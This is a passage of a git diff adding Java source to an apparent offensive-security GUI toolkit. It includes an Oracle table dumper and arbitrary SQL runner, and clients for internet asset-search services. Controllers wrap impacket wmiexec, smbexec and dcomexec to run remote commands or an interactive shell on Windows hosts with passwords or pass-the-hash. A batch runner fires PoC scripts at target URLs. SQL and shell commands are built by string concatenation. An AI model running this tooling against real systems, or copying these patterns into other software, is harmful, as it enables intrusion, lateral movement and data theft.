|
||||
public class OracleController {
|
||||
|
||||
|
||||
public static boolean connect(String ip, String port, String username, String password,String serviceName) {
|
||||
// JDBC连接URL
|
||||
String url = "jdbc:oracle:thin:@" + ip + ":" + port + "/" + serviceName;
|
||||
|
||||
// 设置 SOCKS 代理
|
||||
Tools.setProxy();
|
||||
// 连接MySQL数据库
|
||||
try (Connection connection = DriverManager.getConnection(url, username, password)) {
|
||||
// 如果连接成功,返回true
|
||||
return true;
|
||||
} catch (SQLException e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public static String[] getTbaleName(String ip, String port, String username, String password,String serviceName) {
|
||||
List<String> tableNames = new ArrayList<>();
|
||||
// JDBC连接URL
|
||||
String url = "jdbc:oracle:thin:@" + ip + ":" + port + "/" + serviceName;
|
||||
|
||||
// 设置 SOCKS 代理
|
||||
Tools.setProxy();
|
||||
try {
|
||||
// 建立数据库连接
|
||||
Connection connection = DriverManager.getConnection(url, username, password);
|
||||
|
||||
// 获取当前用户的表
|
||||
DatabaseMetaData metaData = connection.getMetaData();
|
||||
String[] tableTypes = {"TABLE"};
|
||||
ResultSet tables = metaData.getTables(null, username.toUpperCase(), null, tableTypes);
|
||||
|
||||
// 打印当前用户的表名
|
||||
while (tables.next()) {
|
||||
String tableName = tables.getString("TABLE_NAME");
|
||||
tableNames.add(tableName);
|
||||
}
|
||||
// 获取除当前用户以外的表
|
||||
tables = metaData.getTables(null, null, null, tableTypes);
|
||||
// 打印除当前用户以外的表名
|
||||
while (tables.next()) {
|
||||
String tableName = tables.getString("TABLE_NAME");
|
||||
tableNames.add(tableName);
|
||||
}
|
||||
// 关闭连接
|
||||
connection.close();
|
||||
return tableNames.toArray(new String[0]);
|
||||
} catch (SQLException e) {
|
||||
return new String[0];
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static String getTableData(String ip, String port, String username, String password, String serviceName, String tableName) {
|
||||
String url = "jdbc:oracle:thin:@" + ip + ":" + port + "/" + serviceName;
|
||||
// 设置 SOCKS 代理
|
||||
Tools.setProxy();
|
||||
try {
|
||||
// 建立数据库连接
|
||||
Connection conn = DriverManager.getConnection(url, username, password);
|
||||
Statement stmt = conn.createStatement();
|
||||
|
||||
// 查询指定表的数据
|
||||
String sql = "SELECT * FROM " + tableName;
|
||||
ResultSet rs = stmt.executeQuery(sql);
|
||||
|
||||
ResultSetMetaData metaData = rs.getMetaData();
|
||||
int columnCount = metaData.getColumnCount();
|
||||
|
||||
StringBuilder tableData = new StringBuilder();
|
||||
int rowCount = 0;
|
||||
while (rs.next() && rowCount < 5000) {
|
||||
for (int i = 1; i <= columnCount; i++) {
|
||||
String columnName = metaData.getColumnName(i);
|
||||
String columnValue = rs.getString(i);
|
||||
|
||||
tableData.append(columnName).append(": ").append(columnValue).append("\n");
|
||||
}
|
||||
tableData.append("\n");
|
||||
rowCount++;
|
||||
}
|
||||
|
||||
conn.close();
|
||||
|
||||
if (rowCount < 5000) {
|
||||
return tableData.toString();
|
||||
} else {
|
||||
return "数据量过大,只返回前5000条记录。\n" + tableData.toString();
|
||||
}
|
||||
|
||||
} catch (SQLException e) {
|
||||
e.printStackTrace();
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
public static String executeSQL(String ip, String port, String username, String password, String serviceName, String sql) {
|
||||
String url = "jdbc:oracle:thin:@" + ip + ":" + port + "/" + serviceName;
|
||||
// 设置 SOCKS 代理
|
||||
Tools.setProxy();
|
||||
try {
|
||||
Connection conn = DriverManager.getConnection(url, username, password);
|
||||
Statement stmt = conn.createStatement();
|
||||
|
||||
boolean isResultSet = stmt.execute(sql);
|
||||
|
||||
if (isResultSet) {
|
||||
ResultSet rs = stmt.getResultSet();
|
||||
ResultSetMetaData metaData = rs.getMetaData();
|
||||
int columnCount = metaData.getColumnCount();
|
||||
|
||||
StringBuilder tableData = new StringBuilder();
|
||||
int rowCount = 0;
|
||||
while (rs.next() && rowCount < 5000) {
|
||||
for (int i = 1; i <= columnCount; i++) {
|
||||
String columnName = metaData.getColumnName(i);
|
||||
String columnValue = rs.getString(i);
|
||||
|
||||
tableData.append(columnName).append(": ").append(columnValue).append("\n");
|
||||
}
|
||||
tableData.append("\n");
|
||||
rowCount++;
|
||||
}
|
||||
|
||||
conn.close();
|
||||
if (rowCount < 5000) {
|
||||
return tableData.toString();
|
||||
} else {
|
||||
return "数据量过大,只返回前5000条记录。" + tableData.toString();
|
||||
}
|
||||
} else {
|
||||
int updateCount = stmt.getUpdateCount();
|
||||
conn.close();
|
||||
|
||||
return "操作成功,受影响的记录数: " + updateCount;
|
||||
}
|
||||
} catch (SQLException e) {
|
||||
e.printStackTrace();
|
||||
return "操作失败:" + e.getMessage();
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,66 @@
|
||||
package com.sec421.controller.informationCollection;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
import com.alibaba.fastjson.JSONObject;
|
||||
import com.sec421.tools.HttpTool;
|
||||
import com.sec421.tools.Tools;
|
||||
import javafx.scene.control.Alert;
|
||||
|
||||
import java.util.Base64;
|
||||
import java.util.List;
|
||||
|
||||
import static com.sec421.tools.HttpTool.generateURL;
|
||||
|
||||
public class FofaController {
|
||||
public static String fofaSearch(String searchText) throws Exception {
|
||||
String result = "";
|
||||
String values = Tools.getProperty("fofa");
|
||||
String[] EmaliKey = values.split(":");
|
||||
if(EmaliKey.length == 2) {
|
||||
String email = EmaliKey[0];
|
||||
String key = EmaliKey[1];
|
||||
|
||||
String fResult = fofaHTTP(email, key, searchText, 10000);
|
||||
if (fResult.startsWith("请检查")){
|
||||
return fResult;
|
||||
}
|
||||
|
||||
JSONObject object = (JSONObject) JSONObject.parse(fResult);
|
||||
List<String> listStr = object.parseArray(object.getJSONArray("results").toJSONString(), String.class);
|
||||
|
||||
for (String s:listStr) {
|
||||
s = s.replace("\"","").replace("\\r\\n","").replace("\\t","");
|
||||
String host = s.split(",", 3)[0].replace("[","");
|
||||
String port = s.split(",", 3)[1];
|
||||
String protocol = s.split(",", 3)[2].replace("]","");
|
||||
String httpurl = generateURL(host,port,protocol);
|
||||
result += httpurl +"\r\n";
|
||||
}
|
||||
return result;
|
||||
|
||||
} else {
|
||||
Alert alert = new Alert(Alert.AlertType.INFORMATION);
|
||||
alert.setTitle("提示");
|
||||
alert.setHeaderText(null);
|
||||
alert.setContentText("fofa 配置错误\n");
|
||||
alert.showAndWait();
|
||||
return "fofa 配置错误";
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
public static String fofaHTTP(String emali, String key, String value, int size) {
|
||||
|
||||
String qbase64 = Base64.getEncoder().encodeToString(value.getBytes());
|
||||
|
||||
String url = "https://fofa.info/api/v1/search/all?email=" + emali + "&key=" + key + "&qbase64=" + qbase64 + "&full=true&fields=host,port,protocol&size=" + size;
|
||||
String result = "";
|
||||
result = HttpTool.getHttpReuest(url);
|
||||
return result;
|
||||
}
|
||||
|
||||
}
|
||||
@ -0,0 +1,51 @@
|
||||
package com.sec421.controller.informationCollection;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
import com.alibaba.fastjson.JSONArray;
|
||||
import com.alibaba.fastjson.JSONObject;
|
||||
import com.sec421.tools.HttpTool;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public class Quake360Controller {
|
||||
public static String quake360Search(String searchText, Integer start) {
|
||||
if (start>1){
|
||||
start = (start-1)*100;
|
||||
}
|
||||
String domain = "";
|
||||
String url = "https://quake.360.net/api/v3/search/quake_service";
|
||||
JSONObject jsonObject = new JSONObject();
|
||||
jsonObject.put("query", searchText);
|
||||
jsonObject.put("start", start);
|
||||
jsonObject.put("size", 100);
|
||||
try {
|
||||
String s = HttpTool.quankeRequest(url, jsonObject);
|
||||
|
||||
JSONObject jsonObject2 = JSONObject.parseObject(s);
|
||||
JSONArray dataArray = jsonObject2.getJSONArray("data");
|
||||
for (int i = 0; i < dataArray.size(); i++) {
|
||||
JSONObject item = dataArray.getJSONObject(i);
|
||||
String service_name = item.getJSONObject("service").getString("name");
|
||||
String ip = item.getString("ip");
|
||||
String port = item.getString("port");
|
||||
if (service_name.equals("http/ssl")) {
|
||||
String host = item.getJSONObject("service").getJSONObject("http").getString("host");
|
||||
host = !(host.equals("") || host == "") ? host : ip;
|
||||
domain += "https://" + host + ":" + port + "\r\n";
|
||||
} else if (service_name.equals("http")) {
|
||||
String host = item.getJSONObject("service").getJSONObject("http").getString("host");
|
||||
host = !(host.equals("") || host == "") ? host : ip;
|
||||
domain += "http://" + host + ":" + port + "\r\n";
|
||||
} else {
|
||||
domain += service_name + "://" + ip + ":" + port + "\r\n";
|
||||
}
|
||||
}
|
||||
}catch (Exception e){
|
||||
domain = "查询失败,请仔细检查。。。";
|
||||
}
|
||||
return domain;
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,54 @@
|
||||
package com.sec421.controller.informationCollection;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
import com.alibaba.fastjson.JSONArray;
|
||||
import com.alibaba.fastjson.JSONObject;
|
||||
import com.sec421.tools.HttpTool;
|
||||
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.text.SimpleDateFormat;
|
||||
import java.util.Base64;
|
||||
import java.util.Date;
|
||||
|
||||
public class YingTuController {
|
||||
Date date = new Date();
|
||||
// SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd%20hh:mm:ss");
|
||||
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd");
|
||||
private String now = simpleDateFormat.format(date);
|
||||
private String month = simpleDateFormat.format(new Date(date.getTime() - 31L * 24 * 60 * 60 * 1000));
|
||||
private String half_year = simpleDateFormat.format(new Date(date.getTime() - 186L * 24 * 60 * 60 * 1000));
|
||||
private String one_year = simpleDateFormat.format(new Date(date.getTime() - 366L * 24 * 60 * 60 * 1000));
|
||||
public String yintuSearch(String searchText, String apiKey, String page, String is_web) throws Exception {
|
||||
String res = "";
|
||||
try {
|
||||
String qbase64 = Base64.getUrlEncoder().encodeToString(searchText.getBytes(StandardCharsets.UTF_8));
|
||||
if (is_web == "否") {
|
||||
is_web = "2";
|
||||
} else {
|
||||
is_web = "1";
|
||||
}
|
||||
String url = "https://hunter.qianxin.com/openApi/search?" +
|
||||
"api-key=" + apiKey +
|
||||
"&search=" + qbase64 +
|
||||
"&page=" + page +
|
||||
"&page_size=100" +
|
||||
"&is_web=" + is_web +
|
||||
"&port_filter=false&start_time=" + one_year +
|
||||
"&end_time=" + now;
|
||||
String result = HttpTool.getHttpReuest(url);
|
||||
JSONObject object = (JSONObject) JSONObject.parse(result);
|
||||
JSONArray jsonArray = object.getJSONObject("data").getJSONArray("arr");
|
||||
for (int i = 0; i < jsonArray.size(); i++) {
|
||||
JSONObject item = jsonArray.getJSONObject(i);
|
||||
String httpurl = item.getString("url");
|
||||
res += httpurl + "\r\n";
|
||||
}
|
||||
} catch (Exception e){
|
||||
res = "查询异常";
|
||||
}
|
||||
return res;
|
||||
}
|
||||
}
|
||||
72
src/main/java/com/sec421/controller/js/JsController.java
Normal file
@ -0,0 +1,72 @@
|
||||
package com.sec421.controller.js;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
import cn.hutool.http.HttpResponse;
|
||||
import com.sec421.tools.HttpTool;
|
||||
import com.sec421.tools.Tools;
|
||||
import javafx.application.Platform;
|
||||
import javafx.scene.control.TextArea;
|
||||
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.URISyntaxException;
|
||||
import java.net.URL;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
|
||||
public class JsController {
|
||||
|
||||
private TextArea textArea;
|
||||
public String getJSURLResult(String url) throws Exception {
|
||||
String result = "当前页js链接如下:\r\n\n";
|
||||
String domain="";
|
||||
String js_url = "";
|
||||
String jsfileReq = HttpTool.getHttpReuest(url);
|
||||
List<String> jsUrls = Tools.extractJsUrls(jsfileReq);
|
||||
for (String jsUrl : jsUrls) {
|
||||
if (jsUrl.startsWith("/")){
|
||||
domain = Tools.extractDomain(url);
|
||||
}else{
|
||||
domain = Tools.splitByHash(url);
|
||||
}
|
||||
if (jsUrl.startsWith("http") || js_url.startsWith("//")){
|
||||
js_url = jsUrl;
|
||||
}else {
|
||||
if (!domain.endsWith("/")){
|
||||
URL myurl = new URL(domain);
|
||||
String mypath = myurl.getPath();
|
||||
String fileName = mypath.substring(mypath.lastIndexOf('/') + 1);
|
||||
domain = domain.replace(fileName,"");
|
||||
}
|
||||
js_url = (domain+jsUrl).replace("/./","/");
|
||||
}
|
||||
js_url = Tools.normalizedURI(js_url);
|
||||
result+=js_url+Tools.getLineSeparator();
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
public String getJSInterFaceResult(String url) {
|
||||
String result ="";
|
||||
String jsInterFaceReq = HttpTool.getHttpReuest(url);
|
||||
Set<String> jsInterFaces = Tools.extractJsInterface(jsInterFaceReq);
|
||||
for (String jsInterFace : jsInterFaces) {
|
||||
result+=jsInterFace+Tools.getLineSeparator();
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
public String getCTXResult(String interfaceStr, String ctx) {
|
||||
String result = "";
|
||||
List<String> list = Arrays.asList(interfaceStr.split("\n"));
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (String s : list) {
|
||||
sb.append(ctx).append(s).append(Tools.getLineSeparator());
|
||||
}
|
||||
return sb.toString().substring(0, sb.length() - 1);
|
||||
}
|
||||
|
||||
}
|
||||
42
src/main/java/com/sec421/controller/js/NetworkTask.java
Normal file
@ -0,0 +1,42 @@
|
||||
package com.sec421.controller.js;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
import cn.hutool.http.HttpResponse;
|
||||
import com.sec421.tools.HttpTool;
|
||||
import javafx.concurrent.Task;
|
||||
|
||||
public class NetworkTask extends Task<String> {
|
||||
private String url;
|
||||
private String reqMethod;
|
||||
|
||||
public NetworkTask(String url, String reqMethod) {
|
||||
this.url = url;
|
||||
this.reqMethod = reqMethod;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected String call() {
|
||||
HttpResponse httpResponse = HttpTool.sendHttpReuest(url, reqMethod);
|
||||
int status = httpResponse.getStatus();
|
||||
String content_length = httpResponse.contentLength() == -1 ? "无效" : String.valueOf(httpResponse.contentLength());
|
||||
String body = httpResponse.body();
|
||||
if (body.length() > 500) {
|
||||
body = "长度过长,请自行处理";
|
||||
}
|
||||
if (status!=404) {
|
||||
String result = "------------------------------------\n" +
|
||||
"[出货] --- " + url + "\n" +
|
||||
"状态码: " + String.valueOf(status) + "\n" +
|
||||
"Content-Length: " + content_length + "\n" +
|
||||
"响应内容: " + body + "\n" +
|
||||
"------------------------------------\n";
|
||||
|
||||
return result;
|
||||
}else {
|
||||
return "404 ---" + url + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,55 @@
|
||||
package com.sec421.controller.linkTools;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
public class LinkToolsController {
|
||||
public String getHtmlContent(){
|
||||
String HTML_CONTENT = "\n" +
|
||||
"<!DOCTYPE html>\n" +
|
||||
"<html lang=\"zh\">\n" +
|
||||
"<head>\n" +
|
||||
" <meta charset=\"UTF-8\">\n" +
|
||||
" <style>\n" +
|
||||
" html, body {\n" +
|
||||
" margin: 0;\n" +
|
||||
" padding: 0;\n" +
|
||||
" }\n" +
|
||||
" body {\n" +
|
||||
" padding-bottom: 24px;\n" +
|
||||
" }\n" +
|
||||
" .nav-item{\n" +
|
||||
" padding-top: 10px;\n" +
|
||||
" }\n" +
|
||||
" .nav-item a {\n" +
|
||||
" width: 100%;\n" +
|
||||
" text-align: center;\n" +
|
||||
" color: unset;\n" +
|
||||
" text-decoration: unset;\n" +
|
||||
" }\n" +
|
||||
" </style>\n" +
|
||||
"</head>\n" +
|
||||
"<body>\n" +
|
||||
"<div style=\"color: white;background-color: #495060;height: 50px;align-items: center;\">\n" +
|
||||
" <div class=\"nav-item\" style=\"margin-right: 10px;display: flex;align-items: center;\"><a href=\"https://www.revshells.com/\">反弹shell生成 - https://www.revshells.com/</a></div>\n" +
|
||||
"</div>\n" +
|
||||
"<div style=\"color: white;background-color: #5870a7;height: 50px;align-items: center;\">\n" +
|
||||
" <div class=\"nav-item\" style=\"margin-right: 10px;display: flex;align-items: center;\"><a href=\"https://book.hacktricks.xyz/welcome/readme\">HackTricks - https://book.hacktricks.xyz</a></div>\n" +
|
||||
"</div>\n" +
|
||||
"<div style=\"color: white;background-color: #94618e;height: 50px;align-items: center;\">\n" +
|
||||
" <div class=\"nav-item\" style=\"margin-right: 10px;display: flex;align-items: center;\"><a href=\"https://wadcoms.github.io/\">WADComs 域命令手册 - https://wadcoms.github.io/</a></div>\n" +
|
||||
"</div>\n" +
|
||||
"<div style=\"color: white;background-color: #619491;height: 50px;align-items: center;\">\n" +
|
||||
" <div class=\"nav-item\" style=\"margin-right: 10px;display: flex;align-items: center;\"><a href=\"https://gtfobins.github.io/\">GTFOBins Linux提权 - https://gtfobins.github.io/</a></div>\n" +
|
||||
"</div>\n" +
|
||||
"<div style=\"color: white;background-color: #689461;height: 50px;align-items: center;\">\n" +
|
||||
" <div class=\"nav-item\" style=\"margin-right: 10px;display: flex;align-items: center;\"><a href=\"https://lolbas-project.github.io/\">LOLBAS exe手册 - https://lolbas-project.github.io/</a></div>\n" +
|
||||
"</div>\n" +
|
||||
"\n" +
|
||||
"\n" +
|
||||
"</body>\n" +
|
||||
"</html>";
|
||||
return HTML_CONTENT;
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,101 @@
|
||||
package com.sec421.controller.postPentest;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
import com.sec421.controller.ui.MainController;
|
||||
import com.sec421.core.Constants;
|
||||
import com.sec421.tools.Tools;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Proxy;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
public class ExecController {
|
||||
private String command;
|
||||
private String line;
|
||||
private String output;
|
||||
private String auth;
|
||||
public String exec(String exec_type,String execIP,String execNAME,String execPASS,String execCMD,String execAUTH,String execCHARSET){
|
||||
String pyPath = null;
|
||||
try {
|
||||
pyPath = Paths.get(Tools.getProperty("py_path")).toAbsolutePath().toString();
|
||||
} catch (IOException e) {
|
||||
return "请配置python.exe的路径";
|
||||
}
|
||||
if (pyPath==null||pyPath.equals("")){
|
||||
Tools.alert("错误","请配置python.exe的路径");
|
||||
return "请配置python.exe的路径";
|
||||
}
|
||||
Proxy proxy = (Proxy) MainController.settingInfo.get("proxy");
|
||||
if (proxy != null) {
|
||||
InetSocketAddress proxyAddress = (InetSocketAddress) proxy.address();
|
||||
String proxyHost = proxyAddress.getHostString();
|
||||
int proxyPort = proxyAddress.getPort();
|
||||
if (proxy.type() == Proxy.Type.HTTP) {
|
||||
Tools.alert("错误","请使用socks代理");
|
||||
return "代理错误";
|
||||
}else if (proxy.type() == Proxy.Type.SOCKS){
|
||||
System.setProperty("socksProxyHost", proxyHost);
|
||||
System.setProperty("socksProxyPort", Integer.toString(proxyPort));
|
||||
}
|
||||
}
|
||||
String script_name = Paths.get(Constants.IMPACKET_PATH+exec_type+".py").toAbsolutePath().toString();
|
||||
|
||||
if (execAUTH=="密码"){
|
||||
this.auth = execNAME + ":" + execPASS;
|
||||
}else{
|
||||
this.auth = execNAME;
|
||||
}
|
||||
if (exec_type=="dcomexec"){
|
||||
if (execAUTH=="密码"){
|
||||
this.command = pyPath + " " + script_name + " -object MMC20 " + this.auth + "@" + execIP + " " + execCMD + " -codec " + execCHARSET;
|
||||
}else {
|
||||
this.command = pyPath + " " + script_name + " -object MMC20 " + this.auth + "@" + execIP + " " + execCMD + " -hashes :"+ execPASS + " -codec " + execCHARSET;
|
||||
}
|
||||
}else{
|
||||
if (execAUTH=="密码"){
|
||||
this.command = pyPath + " " + script_name + " " + this.auth + "@" + execIP + " " + execCMD + " -codec " + execCHARSET;
|
||||
}else {
|
||||
this.command = pyPath + " " + script_name + " " + this.auth + "@" + execIP + " " + execCMD + " -hashes :"+ execPASS + " -codec " + execCHARSET;
|
||||
}
|
||||
}
|
||||
System.out.println(this.command);
|
||||
try {
|
||||
Runtime runtime = Runtime.getRuntime();
|
||||
// 执行系统命令
|
||||
Process process = runtime.exec(this.command);
|
||||
|
||||
// 等待命令执行完成
|
||||
int exitCode = process.waitFor();
|
||||
System.out.println("命令执行完成。退出代码:" + exitCode);
|
||||
|
||||
// 获取标准输出流
|
||||
InputStream inputStream = process.getInputStream();
|
||||
BufferedReader inputStreamReader = new BufferedReader(new InputStreamReader(inputStream, "GBK"));
|
||||
|
||||
while ((this.line = inputStreamReader.readLine()) != null) {
|
||||
this.output+=this.line+Tools.getLineSeparator();
|
||||
}
|
||||
|
||||
// 获取错误输出流
|
||||
InputStream errorStream = process.getErrorStream();
|
||||
BufferedReader errorStreamReader = new BufferedReader(new InputStreamReader(errorStream, "GBK"));
|
||||
while ((this.line = errorStreamReader.readLine()) != null) {
|
||||
this.output+=this.line+Tools.getLineSeparator();
|
||||
}
|
||||
if (exec_type=="smbexec"){
|
||||
runtime.exec("cmd.exe");
|
||||
}
|
||||
return this.output.toString().replace("null","");
|
||||
} catch (Exception e) {
|
||||
System.out.println(e);
|
||||
return "命令执行失败:" + this.command;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,110 @@
|
||||
package com.sec421.controller.postPentest;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
import com.sec421.controller.ui.MainController;
|
||||
import com.sec421.core.Constants;
|
||||
import com.sec421.tools.Tools;
|
||||
import javafx.application.Platform;
|
||||
import javafx.scene.control.TextArea;
|
||||
|
||||
import java.io.*;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Proxy;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
|
||||
public class InteractionExecController {
|
||||
public static Process shellProcess;
|
||||
public static PrintWriter shellWriter;
|
||||
public static ExecutorService executorService;
|
||||
private String command;
|
||||
private String line;
|
||||
private TextArea textArea;
|
||||
private String output;
|
||||
private String auth;
|
||||
public void exec(TextArea textArea,String exec_type, String execIP, String execNAME, String execPASS, String execAUTH, String execCHARSET) {
|
||||
this.executorService = Executors.newSingleThreadExecutor();
|
||||
this.textArea = textArea;
|
||||
|
||||
String pyPath = null;
|
||||
try {
|
||||
pyPath = Paths.get(Tools.getProperty("py_path")).toAbsolutePath().toString();
|
||||
} catch (IOException e) {
|
||||
}
|
||||
if (pyPath==null||pyPath.equals("")){
|
||||
Tools.alert("错误","请配置python.exe的路径");
|
||||
}
|
||||
Proxy proxy = (Proxy) MainController.settingInfo.get("proxy");
|
||||
if (proxy != null) {
|
||||
InetSocketAddress proxyAddress = (InetSocketAddress) proxy.address();
|
||||
String proxyHost = proxyAddress.getHostString();
|
||||
int proxyPort = proxyAddress.getPort();
|
||||
if (proxy.type() == Proxy.Type.HTTP) {
|
||||
Tools.alert("错误","请使用socks代理");
|
||||
}else if (proxy.type() == Proxy.Type.SOCKS){
|
||||
System.setProperty("socksProxyHost", proxyHost);
|
||||
System.setProperty("socksProxyPort", Integer.toString(proxyPort));
|
||||
}
|
||||
}
|
||||
String script_name = Paths.get(Constants.IMPACKET_PATH+exec_type+".py").toAbsolutePath().toString();
|
||||
|
||||
if (execAUTH=="密码"){
|
||||
this.auth = execNAME + ":" + execPASS;
|
||||
}else{
|
||||
this.auth = execNAME;
|
||||
}
|
||||
if (exec_type=="dcomexec"){
|
||||
if (execAUTH=="密码"){
|
||||
this.command = pyPath + " " + script_name + " -object MMC20 " + this.auth + "@" + execIP + " -codec " + execCHARSET;
|
||||
}else {
|
||||
this.command = pyPath + " " + script_name + " -object MMC20 " + this.auth + "@" + execIP + " -hashes :"+ execPASS + " -codec " + execCHARSET;
|
||||
}
|
||||
}else{
|
||||
if (execAUTH=="密码"){
|
||||
this.command = pyPath + " " + script_name + " " + this.auth + "@" + execIP + " -codec " + execCHARSET;
|
||||
}else {
|
||||
this.command = pyPath + " " + script_name + " " + this.auth + "@" + execIP + " -hashes :"+ execPASS + " -codec " + execCHARSET;
|
||||
}
|
||||
}
|
||||
System.out.println(this.command);
|
||||
// 执行系统命令
|
||||
try {
|
||||
this.shellProcess = Runtime.getRuntime().exec(this.command);
|
||||
this.shellWriter = new PrintWriter(this.shellProcess.getOutputStream());
|
||||
|
||||
this.executorService.submit(() -> {
|
||||
try (BufferedReader reader = new BufferedReader(new InputStreamReader(this.shellProcess.getInputStream(),execCHARSET))) {
|
||||
String line;
|
||||
while ((line = reader.readLine()) != null) {
|
||||
String finalLine = line;
|
||||
Platform.runLater(() -> this.textArea.appendText(finalLine + "\n"));
|
||||
}
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
});
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
public void sendCommand(String command) {
|
||||
this.command = command;
|
||||
if (this.shellWriter != null) {
|
||||
this.shellWriter.println(this.command+ "\r\n");
|
||||
this.shellWriter.flush();
|
||||
}
|
||||
}
|
||||
public void stopSendCommand() {
|
||||
if (this.shellProcess != null) {
|
||||
this.shellWriter.println("exit\r\n");
|
||||
this.shellProcess.destroy();
|
||||
this.shellProcess = null;
|
||||
this.shellWriter = null;
|
||||
Platform.runLater(() -> this.textArea.appendText("已终止"));
|
||||
}
|
||||
}
|
||||
}
|
||||
1027
src/main/java/com/sec421/controller/ui/MainController.java
Normal file
@ -0,0 +1,62 @@
|
||||
package com.sec421.controller.vulnCheck;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
import javafx.beans.property.SimpleStringProperty;
|
||||
import javafx.concurrent.Task;
|
||||
|
||||
public class BatchVulCheckTask extends Task<Integer> {
|
||||
private int index;
|
||||
private String vulScript;
|
||||
private String url;
|
||||
private final String cmd = null;
|
||||
private final SimpleStringProperty result = new SimpleStringProperty();
|
||||
|
||||
public Integer call() throws Exception {
|
||||
String checkResult = VulCheckController.vulCheck(this.url,this.vulScript);
|
||||
setResult(checkResult);
|
||||
return null;
|
||||
}
|
||||
|
||||
public BatchVulCheckTask(String url, int index) {
|
||||
this.index = index;
|
||||
this.url = url;
|
||||
}
|
||||
|
||||
public BatchVulCheckTask(String url, int index, String vulScript) {
|
||||
this.vulScript = vulScript;
|
||||
this.url = url;
|
||||
this.index = index;
|
||||
}
|
||||
|
||||
public int getIndex() {
|
||||
return this.index;
|
||||
}
|
||||
|
||||
public void setIndex(int index) {
|
||||
this.index = index;
|
||||
}
|
||||
|
||||
public String getUrl() {
|
||||
return this.url;
|
||||
}
|
||||
|
||||
public void setUrl(String url) {
|
||||
this.url = url;
|
||||
}
|
||||
|
||||
public String getResult() {
|
||||
return this.result.get();
|
||||
}
|
||||
|
||||
public SimpleStringProperty resultProperty() {
|
||||
return this.result;
|
||||
}
|
||||
|
||||
public void setResult(String result) {
|
||||
this.result.set(result);
|
||||
}
|
||||
|
||||
}
|
||||
22
src/main/java/com/sec421/controller/vulnCheck/PocTools.java
Normal file
@ -0,0 +1,22 @@
|
||||
package com.sec421.controller.vulnCheck;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
import com.sec421.core.Constants;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
import static com.sec421.tools.Tools.findPyFiles;
|
||||
|
||||
public class PocTools {
|
||||
|
||||
public static String[] getpyFiles(){
|
||||
List<String> pyFiles = findPyFiles(Constants.POCPATH);
|
||||
String[] pyFileArray = pyFiles.toArray(new String[0]);
|
||||
return pyFileArray;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
@ -0,0 +1,89 @@
|
||||
package com.sec421.controller.vulnCheck;
|
||||
/**
|
||||
* @author 0x421
|
||||
* @date 2023/12/28 11:20
|
||||
* @github https://github.com/0x7eTeam
|
||||
*/
|
||||
import com.sec421.controller.ui.MainController;
|
||||
import com.sec421.core.Constants;
|
||||
import com.sec421.tools.Tools;
|
||||
import org.apache.log4j.Logger;
|
||||
|
||||
import java.io.*;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Proxy;
|
||||
import java.nio.file.Path;
|
||||
import java.nio.file.Paths;
|
||||
import java.io.InputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.util.Map;
|
||||
|
||||
public class VulCheckController {
|
||||
public static Logger logger = Logger.getLogger(MainController.class);
|
||||
public static String vulCheck(String target, String pyScriptName) throws IOException, InterruptedException {
|
||||
|
||||
// Proxy proxy = (Proxy) MainController.settingInfo.get("proxy");
|
||||
|
||||
